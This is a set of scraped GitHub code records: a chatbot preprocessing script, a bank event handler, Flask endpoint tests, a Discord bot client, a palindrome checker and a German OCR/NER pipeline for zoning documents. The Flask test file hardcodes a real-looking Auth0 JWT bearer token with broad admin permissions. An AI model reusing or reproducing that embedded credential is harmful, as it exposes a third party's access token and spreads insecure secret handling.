构建映射关系\r\n\t\t:param all_dict: 词典\r\n\t\t:return:映射字典\r\n\t\t\"\"\"\r\n\t\tid2words = {i: j for i, j in enumerate(all_dict)}\r\n\t\twords2id = {j: i for i, j in enumerate(all_dict)}\r\n\t\treturn id2words, words2id\r\n\r\n\tdef corpus_converted_to_id_vector(self, words2id, corpus_cut):\r\n\t\t\"\"\"\r\n\t\t# 1.4 语料转为id向量\r\n\t\t:return:\r\n\t\t\"\"\"\r\n\t\tcor2vec = [[words2id.get(word, words2id['_UNK']) for word in line]for line in corpus_cut]\r\n\t\treturn cor2vec\r\n\r\n\tdef div_to_source_and_target(self, cor2vec):\r\n\t\t\"\"\"\r\n\t\t# 1.5 拆分成source、target\r\n\t\t:param cor2vec: id向量\r\n\t\t:return: 问题和回答向量\r\n\t\t\"\"\"\r\n\t\tfromids = cor2vec[::2]\r\n\t\ttoids = cor2vec[1::2]\r\n\t\treturn fromids, toids\r\n\r\n\tdef train_wordvec(self, cor2vec, model_save_path):\r\n\t\t\"\"\"\r\n\t\t# 1.6 词向量训练\r\n\t\t:param cor2vec: id向量\r\n\t\t:param model_save_path: 模型保存路径\r\n\t\t:return:None\r\n\t\t\"\"\"\r\n\t\temb_size = 50\r\n\t\ttemp = [list(map(str, i)) for i in cor2vec]\r\n\t\tif not os.path.exists(model_save_path):\r\n\t\t\tmodel = Word2Vec(temp, size=emb_size, window=10, min_count=1, workers=4)\r\n\t\t\tmodel.save(model_save_path)\r\n\t\telse:\r\n\t\t\tprint(f'模型已经构建,可以直接调取'.center(50, '='))\r\n\t\treturn None\r\n\r\n\tdef save_file(self, dict_save_path, ids_save_path, formids, toids, all_dict):\r\n\t\t\"\"\"\r\n\t\t# 1.7 保存文件\r\n\t\tfromids, toids, dict\r\n\t\t:return:None\r\n\t\t\"\"\"\r\n\t\twith open(ids_save_path)as f:\r\n\t\t\tjson.dump({'formids': formids, 'toids': toids}, fp=f, ensure_ascii=False)\r\n\t\twith open(dict_save_path, 'w') as f:\r\n\t\t\tf.write('\\n'.join(all_dict))\r\n\r\n\tdef _run(self):\r\n\t\tcorpus = self.reading_corpus_files(corpus_path)\r\n\t\t_, all_dict = self.participle_build_dictionary(dict_file_path, corpus)\r\n\t\tmy_dict = self.Building_mapp_relationship(all_dict)\r\n\t\treturn my_dict\r\n\r\n\r\nif __name__ == '__main__':\r\n\tcorpus_path = r'_04_chatbot/data/dialog'\r\n\tdict_file_path = r'_04_chatbot/data/mydict.txt'\r\n\tmodel_save_path = r'_04_chatbot/data/tmp/Word2Vec.model'\r\n\tdict_save_path = r'_04_chatbot/data/tmp/dict.txt'\r\n\tids_save_dict = r'_04_chatbot/data/ids/ids.json'\r\n\r\n","repo_name":"xids2016/chatbot","sub_path":"_01_chatbot_preprocess.py","file_name":"_01_chatbot_preprocess.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"8261542569","text":"from ...shared.model import UniqueID\nfrom ..composition_root import get_account_write_repo\nfrom ..model.events import AccountAddedToClient\nfrom ..use_cases.account import create_account\n\n\ndef create_added_client_account(event: AccountAddedToClient):\n try:\n with get_account_write_repo() as account_repo:\n create_account(\n operation_id=UniqueID(event.operation_id),\n account_name=event.account_name,\n account_id=UniqueID(event.account_id),\n client_id=UniqueID(event.client_id),\n account_repo=account_repo\n )\n except Exception as e:\n print('Error creating clinet account', e)\n","repo_name":"Hyaxia/Bank-DDD-CQRS-ES","sub_path":"bank_ddd_es_cqrs/accounts/event_handlers/account_event_handlers.py","file_name":"account_event_handlers.py","file_ext":"py","file_size_in_byte":691,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"5"} +{"seq_id":"74561337432","text":"import os\nimport unittest\nimport json\nfrom flask_sqlalchemy import SQLAlchemy\n\nfrom app import create_app\nfrom models import setup_db, Person, Movie\n\n\nclass AgencyTestCase(unittest.TestCase):\n\n\n def setUp(self):\n \"\"\"Define test variables and initialize app.\"\"\"\n self.app = create_app()\n self.client = self.app.test_client\n self.database_name = \"agency_test\"\n self.database_path = \"postgresql://{}/{}\".format('localhost:5432', self.database_name)\n self.cast_assist = 'token_value'\n self.cast_director = 'token_value'\n self.exec_prod = 'eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Ild0YlN4MFNMc090dURsUmhwZElWcyJ9.eyJpc3MiOiJodHRwczovL2Nhc3RpbGxvbWVkaWEyLmV1LmF1dGgwLmNvbS8iLCJzdWIiOiJhdXRoMHw2MTE5MTEzMWY0Y2U2ODAwNzFkMTgzMTUiLCJhdWQiOiJhZ2VuY3lfYXBpIiwiaWF0IjoxNjI5MTI2MjE4LCJleHAiOjE2MjkxMzM0MTgsImF6cCI6ImJvU0xmbjJINDUyYXdDN2lpdWlmenhuWmVESjc3UEhwIiwic2NvcGUiOiIiLCJwZXJtaXNzaW9ucyI6WyJkZWxldGU6YWN0b3IiLCJkZWxldGU6bW92aWUiLCJnZXQ6YWN0b3JzIiwiZ2V0Om1vdmllcyIsInBhdGNoOmFjdG9yIiwicGF0Y2g6bW92aWUiLCJwb3N0OmFjdG9yIiwicG9zdDptb3ZpZSJdfQ.Zswtbz5AJVUaSTO4vZ5AvvNlB1LF0eSMoNchDVbzeWVT-lkjA5Y74SGw5OAdRPi7JOld4phH1GSRhs_eX2jys2lPWbv4L8d_wYfC7jk75fllI3yuMVb9ai2SOVlXazdeMDfz76jcczpQHDDmApdhmiXhIGEZBpFlKeBumtMaHxH74jIur9ThoMwW4OaS_Krj-g9vkowCCvuySmidDl5JNG55TsTe5_xkK-wyDJirzhIU2_Ku6AfrwR675OBHYGyK517R3FvPh_sQlJCdER3DiH-2rqt5zwwiYWd1x8CSkA8MR6CdGN3uYQhz42axErKDjDEyqhqOd95GUJgVduGC6A'\n setup_db(self.app, self.database_path)\n\n # binds the app to the current context\n with self.app.app_context():\n self.db = SQLAlchemy()\n self.db.init_app(self.app)\n # create all tables\n self.db.create_all()\n \n def tearDown(self):\n \"\"\"Executed after reach test\"\"\"\n pass\n\n\n\n def test_get_movies(self):\n res = self.client().get('/movies',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod})\n data = json.loads(res.data)\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n\n\n def test_get_movies_error_wrongURL(self):\n res = self.client().patch('/moviescx',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod},\n json={'name': 'American Beauty',\n 'release': \"2002-04-28\"})\n data = json.loads(res.data)\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'resource not found')\n\n\n\n def test_get_actors(self):\n res = self.client().get('/people',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod})\n data = json.loads(res.data)\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n\n\n def test_get_actors_error_methodNotAllowed(self):\n res = self.client().put('/people',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod})\n data = json.loads(res.data)\n self.assertEqual(res.status_code, 405)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'method not allowed')\n\n\n\n def test_post_actor(self):\n res = self.client().post('/people',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod},\n json={\"name\": \"Lola Roteshaus\",\n \"catchphrase\": \"Early bird catches the worm\"})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['person']['name'],'Lola Roteshaus')\n\n\n def test_post_actor_methodNotAllowed(self):\n res = self.client().patch('/people',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod},\n json={\"name\": \"Lola Roteshaus\",\n \"catchphrase\": \"Early bird catches the worm\"})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 405)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'method not allowed')\n\n\n\n def test_post_movie(self):\n res = self.client().post('/movies',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod},\n json={'name': 'Night of the living dead',\n 'release': \"1960-10-18\"})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['movie']['name'],'Night of the living dead')\n\n\n def test_post_movie_wrongURL(self):\n res = self.client().post('/movies/add',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod},\n json={'name': 'Night of the living dead',\n 'release': \"1960-10-18\"})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'resource not found')\n\n\n\n\n def test_patch_actor(self):\n actor_toBe_patched_id=str(1)\n res = self.client().patch('/people/'+actor_toBe_patched_id+'/edit',\n headers={'Authorization': 'Bearer ' +self.exec_prod},\n json={\"name\": \"Lola Smith\", \"catchphrase\": \"Early bird catches the worm\"})\n \n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 200)\n self.assertEqual(data['success'], True)\n self.assertTrue(data['person']['name'],'Lola Smith')\n\n\n def test_patch_actor_errorIDNotExistent(self):\n actor_toBe_patched_id=str(450)\n res = self.client().patch('/people/'+actor_toBe_patched_id+'/edit',\n headers={'Authorization': 'Bearer ' +self.exec_prod},\n json={\"name\": \"Lola Smith\", \"catchphrase\": \"Early bird catches the worm\"})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 500)\n self.assertEqual(data['success'], False)\n self.assertEqual(data['message'], 'internal server error')\n\n\n\n\n # def test_patch_movie(self):\n # movie_toBe_patched_id=str(1)\n # res = self.client().patch('/movies/'+movie_toBe_patched_id+'/edit',\n # headers={'Authorization':\n # 'Bearer ' +self.exec_prod},\n # json={'name': 'Night of the dead',\n # 'release': \"1960-10-18\"})\n # data = json.loads(res.data)\n\n # self.assertEqual(res.status_code, 200)\n # self.assertEqual(data['success'], True)\n # self.assertTrue(data['movie']['name'],'Night of the dead')\n\n\n def test_patch_movie_error(self):\n movie_toBe_patched_id=str(450)\n res = self.client().patch('/movies/'+movie_toBe_patched_id+'/edit',\n headers={'Authorization':\n 'Bearer ' +self.exec_prod},\n json={'name': 'Night of the dead',\n 'release': \"1960-10-18\"})\n data = json.loads(res.data)\n\n self.assertEqual(res.status_code, 404)\n self.assertEqual(data['success'], False)\n\n\n\n def test_delete_actor(self):\n ## Here the actor added in the previous test will be deleted\n actor_toBe_deleted_id=1\n deletion_res = self.client().delete('/people/'+str(actor_toBe_deleted_id),\n headers={'Authorization':\n 'Bearer ' +self.exec_prod})\n deletion_data = json.loads(deletion_res.data)\n\n self.assertEqual(deletion_res.status_code, 200)\n self.assertEqual(deletion_data['success'], True)\n self.assertEqual(deletion_data['deleted_id'], actor_toBe_deleted_id)\n\n\n def test_delete_actor_authError(self):\n ## Here the actor added in the previous test will be deleted\n actor_toBe_deleted_id=1\n deletion_res = self.client().delete('/people/'+str(actor_toBe_deleted_id))\n deletion_data = json.loads(deletion_res.data)\n\n self.assertEqual(deletion_res.status_code, 500)\n self.assertEqual(deletion_data['success'], False)\n\n\n def test_delete_movie(self):\n ## Here the movie added in the previous test will be deleted\n movie_toBe_delete_id=1\n deletion_res = self.client().delete('/movies/'+str(movie_toBe_delete_id),\n headers={'Authorization':\n 'Bearer ' +self.exec_prod})\n deletion_data = json.loads(deletion_res.data)\n\n self.assertEqual(deletion_res.status_code, 200)\n self.assertEqual(deletion_data['success'], True)\n self.assertEqual(deletion_data['deleted_id'], movie_toBe_delete_id)\n\n\n def test_delete_movie_authError(self):\n ## Here the movie added in the previous test will be deleted\n movie_toBe_delete_id=1\n deletion_res = self.client().delete('/movies/'+str(movie_toBe_delete_id))\n deletion_data = json.loads(deletion_res.data)\n\n self.assertEqual(deletion_res.status_code, 500)\n self.assertEqual(deletion_data['success'], False)\n\n\n\n# Make the tests conveniently executable\nif __name__ == \"__main__\":\n unittest.main()","repo_name":"castillo-media/casting_service","sub_path":"test_endpoints.py","file_name":"test_endpoints.py","file_ext":"py","file_size_in_byte":9853,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"14594980883","text":"from threading import Thread\nimport requests\nimport json\nimport time\nimport random\nimport logging\n\nfrom . import HTTP_API_ENDPOINT\nfrom .gateway import *\n\nlog = logging.getLogger(__name__)\n\nclass Bot:\n \n def __init__(self, token, shards=1):\n \n self._token = token\n self.user = None\n\n self._auth_header = \"Bot {}\".format(self._token)\n \n self._rate_limits = {\n \"channel\": {}\n }\n\n self._sockets = []\n\n for shard in range(shards):\n self._sockets.append(Gateway(self._token, shard, shards))\n\n self.add_listener(Gateway.DISPATCH, self._ready, event_type=\"READY\")\n\n def _ready(self, data):\n if self.user is None:\n self.user = data[\"user\"]\n\n def add_listener(self, opcode, func, event_type=None, pass_data=True, temp=False):\n for socket in self._sockets:\n socket.add_listener(opcode, func, event_type=event_type, pass_data=pass_data, temp=temp)\n\n def on_message(self, func):\n return self.add_listener(Gateway.DISPATCH, func, event_type=\"MESSAGE_CREATE\")\n\n def on_ready(self, func):\n return self.add_listener(Gateway.DISPATCH, func, event_type=\"READY\")\n\n def _init_limits(self, data, key):\n data[key] = {\"calls_remaining\": 1, \"reset_time\": 0, \"usage_queue\": []}\n\n def _reset_limits_from_headers(self, limits, headers):\n if \"X-RateLimit-Remaining\" in headers:\n limits[\"calls_remaining\"] = int(headers[\"X-RateLimit-Remaining\"])\n if \"X-RateLimit-Reset\" in headers:\n limits[\"reset_time\"] = int(headers[\"X-RateLimit-Reset\"])\n limits[\"usage_queue\"].pop(0)\n\n def _wait_for_limits(self, limits):\n\n n = random.randint(1000000, 9999999)\n limits[\"usage_queue\"].append(n)\n \n while limits[\"usage_queue\"][0] != n:\n pass\n\n if limits[\"calls_remaining\"] <= 0:\n while time.time() < limits[\"reset_time\"]:\n pass\n\n def _rate_limit_channel_request(self, channel_id):\n if channel_id not in self._rate_limits[\"channel\"]:\n self._init_limits(self._rate_limits[\"channel\"], channel_id)\n self._wait_for_limits(self._rate_limits[\"channel\"][channel_id])\n\n def _request(self, method_func, path, headers=None, body=None, auth=True):\n\n if headers is None and auth:\n headers = {\n \"authorization\": self._auth_header\n }\n if body is not None:\n headers[\"content-type\"] = \"application/json\"\n\n if path[0] != \"/\":\n full_path = HTTP_API_ENDPOINT + \"/\" + path\n else:\n full_path = HTTP_API_ENDPOINT + path\n\n if body is None:\n r = method_func(full_path, headers=headers)\n else:\n r = method_func(full_path, headers=headers, data=json.dumps(body))\n \n if r.status_code != 200 and r.status_code != 204:\n log.warning(\"{} {}\".format(r.status_code, r.reason))\n\n return r\n \n def send_message(self, channel_id, content):\n\n if len(content) <= 0 or len(content) > 2000:\n raise ValueError(\"Message length must be > 0 and <= 2000.\")\n\n self._rate_limit_channel_request(channel_id)\n\n body = {\n \"content\": content,\n \"tts\": False\n }\n\n r = self._request(requests.post, \"/channels/{}/messages\".format(channel_id), body=body)\n self._reset_limits_from_headers(self._rate_limits[\"channel\"][channel_id], r.headers)\n\n return r.json()\n\n def edit_message(self, channel_id, message_id, content):\n \n if len(content) <= 0 or len(content) > 2000:\n raise ValueError(\"Message length must be > 0 and <= 2000.\")\n\n self._rate_limit_channel_request(channel_id)\n\n body = {\n \"content\": content\n }\n\n r = self._request(requests.patch, \"/channels/{}/messages/{}\".format(channel_id, message_id), body=body)\n self._reset_limits_from_headers(self._rate_limits[\"channel\"][channel_id], r.headers)\n\n return r.json()\n \n def send_typing(self, channel_id):\n self._rate_limit_channel_request(channel_id)\n r = self._request(requests.post, \"/channels/{}/typing\".format(channel_id))\n self._reset_limits_from_headers(self._rate_limits[\"channel\"][channel_id], r.headers)\n\n def modify_channel(self, channel_id, **settings):\n \"\"\" Settings kwargs can have the values listed here: https://ptb.discordapp.com/developers/docs/resources/channel#modify-channel \"\"\"\n \n self._rate_limit_channel_request(channel_id)\n r = self._request(requests.patch, \"/channels/{}\".format(channel_id), body=settings)\n self._reset_limits_from_headers(self._rate_limits[\"channel\"][channel_id], r.headers)\n\n def delete_channel(self, channel_id):\n self._rate_limit_channel_request(channel_id)\n r = self._request(requests.delete, \"/channels/{}\".format(channel_id))\n self._reset_limits_from_headers(self._rate_limits[\"channel\"][channel_id], r.headers)\n \n def get_channel(self, channel_id):\n return self._request(requests.get, \"channels/{}\".format(channel_id)).json()\n\n def get_channel_messages(self, channel_id, limit=50, delay=0.5):\n self._rate_limit_channel_request(channel_id)\n\n messages = []\n before = None\n \n while limit > 0 or limit == -1:\n \n get_url = \"channels/{}/messages?limit={}\".format(channel_id, min(100, 100 if limit == -1 else limit))\n if before is not None:\n get_url += \"&before={}\".format(before)\n\n r = self._request(requests.get, get_url)\n \n data = r.json()\n \n if r.status_code == 429:\n time.sleep(int(data[\"retry_after\"]) / 1000)\n \n else:\n messages.extend(data)\n before = messages[-1][\"id\"]\n if len(data) < 100:\n break\n time.sleep(delay)\n if limit > 0:\n limit -= 100\n \n self._reset_limits_from_headers(self._rate_limits[\"channel\"][channel_id], r.headers)\n \n return messages[::-1]\n\n def logout(self):\n for socket in self._sockets:\n socket.close()\n\n","repo_name":"lewisc64/discrod.py","sub_path":"discrod/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":6334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26130357143","text":"import string\n\nsp = input().lower()\nsp = sp.replace(' ', '')\n\nfor p in string.punctuation:\n if p in sp:\n sp = sp.replace(p, '')\ni = 0\nflag = 1\nwhile i < len(sp) // 2:\n if (sp[i] != sp[len(sp) - i - 1]):\n flag = 0\n break\n i += 1\nif flag == 0:\n print('False')\nelse:\n print('True')\n","repo_name":"LarisaKukarskaya/algorithms","sub_path":"introduction/palindrom.py","file_name":"palindrom.py","file_ext":"py","file_size_in_byte":315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9568140128","text":"from spaczz.matcher import FuzzyMatcher\nimport spacy\nfrom spacy.tokens import Span\nfrom spacy.util import filter_spans\nimport os\nfrom transformers import pipeline\nimport networkx as nx\nfrom difflib import SequenceMatcher\nfrom transformers import AutoTokenizer, AutoModelForSequenceClassification\nimport matplotlib.pyplot as plt\nimport pytesseract\nimport cv2\nimport time\nfrom time import perf_counter\nimport json\nfrom pdf2image.pdf2image import convert_from_path\nfrom pdf2image.exceptions import (\n PDFInfoNotInstalledError,\n PDFPageCountError,\n PDFSyntaxError\n)\nfrom PyPDF2 import PdfFileReader\nfrom PIL import Image\nImage.MAX_IMAGE_PIXELS = None\nimport glob\nimport sys\nfrom PyQt5.QtWidgets import QApplication, QWidget, QVBoxLayout, QLabel, QSlider\nfrom PyQt5.QtCore import Qt\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n#1. Ordner anlegen mit Namen \"image\" und \"images/many_images\" im gleichen Verzeichnis wie die .py Datei\n#2. Ordner anlegen mit Namen \"txt\" und \"txt/many_txts\" im gleichen Verzeichnis wie die .py Datei\n#3. Ordner anlegen mit Namen \"pdf\" im gleichen Verzeichnis wie die .py Datei und die PDFs dort ablegen\n#4. (Absoluter) Pfad für poppler und tesseract überprüfen und notfalls anpassen -> https://github.com/Belval/pdf2image/issues/101\n\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\nabsoluter_pfad_image = \"/Users/abinashselvarajah/Desktop/Bachelorarbeit/Code/images\"\nabsoluter_pfad_txt = \"/Users/abinashselvarajah/Desktop/Bachelorarbeit/Code/txts\"\ndef txt_preprocessing(txt):\n txt = txt.replace('$', '§')\n lower_txt = txt.lower()\n index = lower_txt.find(\"textliche festsetzungen\")\n if index != -1:\n return txt[index:]\n else:\n index = lower_txt.find(\"planungsrechtliche festsetzungen\")\n if index != -1:\n return txt[index:]\n else:\n index = lower_txt.find(\"art der baulichen nutzung\")\n if index != -1:\n return txt[index:]\n else:\n index = lower_txt.find(\"maß der baulichen nutzung\")\n if index != -1:\n return txt[index:]\n else:\n index = lower_txt.find(\"baulichen Nutzung\")\n if index != -1:\n return txt[index:]\n return 0\n\n#Eingabe 1.) relativer Pfad zum Ordner mit den PDFs von .py Datei\ndef dir_pdf_txt_conversion(input_path,output_path):\n # Laufvariable für die Bildbenennung\n i = 0\n # Pfad zu PDF angeben\n for file in os.listdir(input_path):\n # Bool-Wert, ob viele Seiten in PDF vorliegen oder nicht\n txt_name = file.split(\"/\")[-1].split(\".\")[0]\n many_images = False\n if file.endswith(\".pdf\"):\n tmp_path = os.path.join(input_path, file)\n # PDF in jpg konvertieren BITTE ÜBERPRÜFEN\n try:\n images = convert_from_path(tmp_path,300, poppler_path='/opt/homebrew/Cellar/poppler/23.06.0/bin')\n except:\n images = convert_from_path(tmp_path,200, poppler_path='/opt/homebrew/Cellar/poppler/21.08.0/bin')\n # pdf zu jpg konvertieren\n if(len(images) == 1):\n images[0].save(absoluter_pfad_image + '/page'+ str(i) +'.jpg', 'JPEG')\n elif(len(images) >= 2):\n # viele Seiten liegen vor (aeltere Dokumente)\n many_images = True\n for j in range(0,len(images)):\n # Bilder werden in einem gesonderten Ordner \"many_images\" gespeichert\n images[j].save('/Users/abinashselvarajah/Desktop/Bachelorarbeit/Code/images/many_images/page'+ str(j) +'.jpg', 'JPEG')\n else:\n raise Exception(\"Keine Seiten\")\n\n if(many_images == False):\n # Pfad zu jpg-Bild angeben\n image = cv2.imread('images/page'+ str(i) +'.jpg')\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # Pfad zu Tesseract.exe angeben (MacOS) BITTE ÜBERPRÜFEN\n pytesseract.pytesseract.tesseract_cmd = r'/Users/abinashselvarajah/anaconda3/envs/bachelorarbeit/bin/tesseract'\n # Texterkennung aus jpg-Bild, Sprache: Deutsch\n result = pytesseract.image_to_string(gray, lang='deu', config='--psm 1')\n with open(output_path+'/'+txt_name+'.txt', 'w') as f:\n #result = txt_preprocessing(result)\n f.write(result)\n f.close()\n elif(many_images == True):\n for k in range(0,len(images)):\n # Pfad zu jpg-Bild angeben\n image = cv2.imread('images/many_images/page'+ str(k) +'.jpg')\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # Pfad zu Tesseract.exe angeben BITTE ÜBERPRÜFEN\n pytesseract.pytesseract.tesseract_cmd = r'/Users/abinashselvarajah/anaconda3/envs/bachelorarbeit/bin/tesseract'\n # Texterkennung aus jpg-Bild, Sprache: Deutsch\n result = pytesseract.image_to_string(gray, lang='deu', config='--psm 1')\n with open(output_path+'/many_txts/page_'+ str(k)+ '.txt', 'w') as f:\n #result = txt_preprocessing(result)\n f.write(result)\n f.close()\n\n\n # Löschen der jpg-Bilder\n for m in range(0,len(images)):\n os.remove(absoluter_pfad_image+'/many_images/page'+ str(m) +'.jpg')\n\n # Fetch filenames with pattern 'page_*.txt' from directory 'many_txts'\n filenames = glob.glob(os.path.join(output_path, 'many_txts', 'page_*.txt'))\n\n # sort filenames by number that comes after 'page_' in their names\n filenames.sort(key=lambda x: int(os.path.basename(x).split('_')[1].split('.')[0]))\n\n # Merge the text files\n with open(output_path+'/'+txt_name+'.txt', 'w') as outfile:\n for filename in filenames:\n with open(filename, 'r') as infile:\n outfile.write(infile.read())\n\n # Löschen der txt-Dateien\n for m in range(0,len(images)):\n os.remove(output_path+'/many_txts/page_'+ str(m)+ '.txt')\n i += 1\n\ndef file_pdf_txt_conversion(input_path,output_path):\n # Bool-Wert, ob viele Seiten in PDF vorliegen oder nicht\n many_images = False\n i = 0\n txt_name = input_path.split(\"/\")[-1].split(\".\")[0]\n if input_path.endswith(\".pdf\"):\n # PDF in jpg konvertieren BITTE ÜBERPRÜFEN\n try:\n images = convert_from_path(input_path,300,poppler_path='/opt/homebrew/Cellar/poppler/23.06.0/bin')\n except:\n images = convert_from_path(input_path,200,poppler_path='/opt/homebrew/Cellar/poppler/21.08.0/bin')\n # pdf zu jpg konvertieren\n if(len(images) == 1):\n images[0].save('/Users/abinashselvarajah/Desktop/Bachelorarbeit/Code/images/page'+ str(i) +'.jpg', 'JPEG')\n print(\"Eine Seite\")\n elif(len(images) >= 2):\n # viele Seiten liegen vor (aeltere Dokumente)\n many_images = True\n for j in range(0,len(images)):\n # Bilder werden in einem gesonderten Ordner \"many_images\" gespeichert\n images[j].save('/Users/abinashselvarajah/Desktop/Bachelorarbeit/Code/images/many_images/page'+ str(j) +'.jpg', 'JPEG')\n print(\"Mehr als 2 Seiten\")\n else:\n raise Exception(\"Keine Seiten\")\n\n if(many_images == False):\n # Pfad zu jpg-Bild angeben\n image = cv2.imread('images/page'+ str(i) +'.jpg')\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # Pfad zu Tesseract.exe angeben (MacOS) BITTE ÜBERPRÜFEN\n pytesseract.pytesseract.tesseract_cmd = r'/Users/abinashselvarajah/anaconda3/envs/bachelorarbeit/bin/tesseract'\n # Texterkennung aus jpg-Bild, Sprache: Deutsch\n result = pytesseract.image_to_string(gray, lang='deu', config='--psm 1')\n with open(output_path+'/'+txt_name+'.txt', 'w') as f:\n #result = txt_preprocessing(result)\n f.write(result)\n f.close()\n elif(many_images == True):\n for k in range(0,len(images)):\n # Pfad zu jpg-Bild angeben\n image = cv2.imread('images/many_images/page'+ str(k) +'.jpg')\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n # Pfad zu Tesseract.exe angeben BITTE ÜBERPRÜFEN\n pytesseract.pytesseract.tesseract_cmd = r'/Users/abinashselvarajah/anaconda3/envs/bachelorarbeit/bin/tesseract'\n # Texterkennung aus jpg-Bild, Sprache: Deutsch\n result = pytesseract.image_to_string(gray, lang='deu', config='--psm 1')\n with open(output_path+'/many_txts/page_'+ str(k)+ '.txt', 'w') as f:\n #result = txt_preprocessing(result)\n f.write(result)\n f.close()\n\n # Löschen der jpg-Bilder\n for m in range(0,len(images)):\n os.remove('images/many_images/page'+ str(m) +'.jpg')\n\n # Fetch filenames with pattern 'page_*.txt' from directory 'many_txts'\n filenames = glob.glob(os.path.join(output_path, 'many_txts', 'page_*.txt'))\n\n # sort filenames by number that comes after 'page_' in their names\n filenames.sort(key=lambda x: int(os.path.basename(x).split('_')[1].split('.')[0]))\n\n # Merge the text files\n with open(output_path+'/'+txt_name+'.txt', 'w') as outfile:\n for filename in filenames:\n with open(filename, 'r') as infile:\n outfile.write(infile.read())\n\n # Löschen der txt-Dateien\n for m in range(1,len(images)):\n os.remove(output_path+'/many_txts/page_'+ str(m-1)+ '.txt')\n return output_path+'/'+txt_name+'.txt'\n\n#mDeBERTa-Modell für QA\nfrom transformers import pipeline\n\nqa_pipeline = pipeline(\n \"question-answering\",\n model=\"deutsche-telekom/electra-base-de-squad2\",\n tokenizer=\"deutsche-telekom/electra-base-de-squad2\"\n)\n\n\n#Hol dir Antworten\ndef get_answers(question, context):\n # Führe das QA-Model mit der Frage aus\n result = qa_pipeline({\n 'question': question,\n 'context': context\n })\n #print(f\"Question: {question}\")\n #print(f\"Answer: {result['answer']}\")\n #print(f\"Score: {result['score']}\")\n return result['answer'], result['score']\n\n#Vergleiche die Antworten über alle Gebiete hinweg und hol dir das Ergebnis mit dem größten Confidence-Score\ndef get_highest_score_answer(scores, answers):\n \n # Check both scores and answers have same length\n assert len(scores) == len(answers), \"scores and answers must have the same length\"\n \n # Find the index of the highest score\n max_score_index = scores.index(max(scores)) \n \n # Return the corresponding answer\n return answers[max_score_index], scores[max_score_index]\n\ndef get_results(text, threshold):\n text = text.replace(\"\\n\", \" \")\n nlp_ner = spacy.load(\"model-best\")\n many_baugebiete = 0\n betreten = 0\n ents = nlp_ner(text)\n baugebiete = []\n alle_baugebiete = []\n final = []\n for i in range(len(ents.ents)):\n if(\"BAUGEBIETE\" in ents.ents[i].label_):\n alle_baugebiete.append(ents.ents[i].text)\n if(i != len(ents.ents)-1):\n if(\"BAUGEBIETE\" not in ents.ents[i+1].label_ and betreten == 1):\n baugebiete.append(ents.ents[i].text)\n betreten = 0\n baugebiete = list(dict.fromkeys(baugebiete))\n if(\"BAUGEBIETE\" in ents.ents[i+1].label_ and i-1 <= len(ents.ents)):\n baugebiete.append(ents.ents[i].text)\n many_baugebiete = 1\n betreten = 1\n for j in range(i+1, len(ents.ents)):\n if(\"ART_DER_BAULICHEN_NUTZUNG\" in ents.ents[j].label_):\n if many_baugebiete == 1:\n for baugebiet in baugebiete:\n answer, score = get_answers(\"Sind \" + ents.ents[j].text + \" im \" + baugebiet + \" zulässig, nicht zulässig, unzulässig, ausnahmsweise zulässig oder nicht Bestandteil des Bebauungsplanes ? \", text)\n if(score >= threshold):\n final.append([score, answer, ents.ents[j].text, baugebiet])\n elif many_baugebiete == 0:\n answer, score = get_answers(\"Sind \" + ents.ents[j].text + \" im \" + ents.ents[i].text + \" zulässig, nicht zulässig, unzulässig, ausnahmsweise zulässig oder nicht Bestandteil des Bebauungsplanes ? \", text)\n if(score >= threshold):\n final.append([score, answer, ents.ents[j].text, ents.ents[i].text])\n many_baugebiete = 0\n baugebiete = []\n 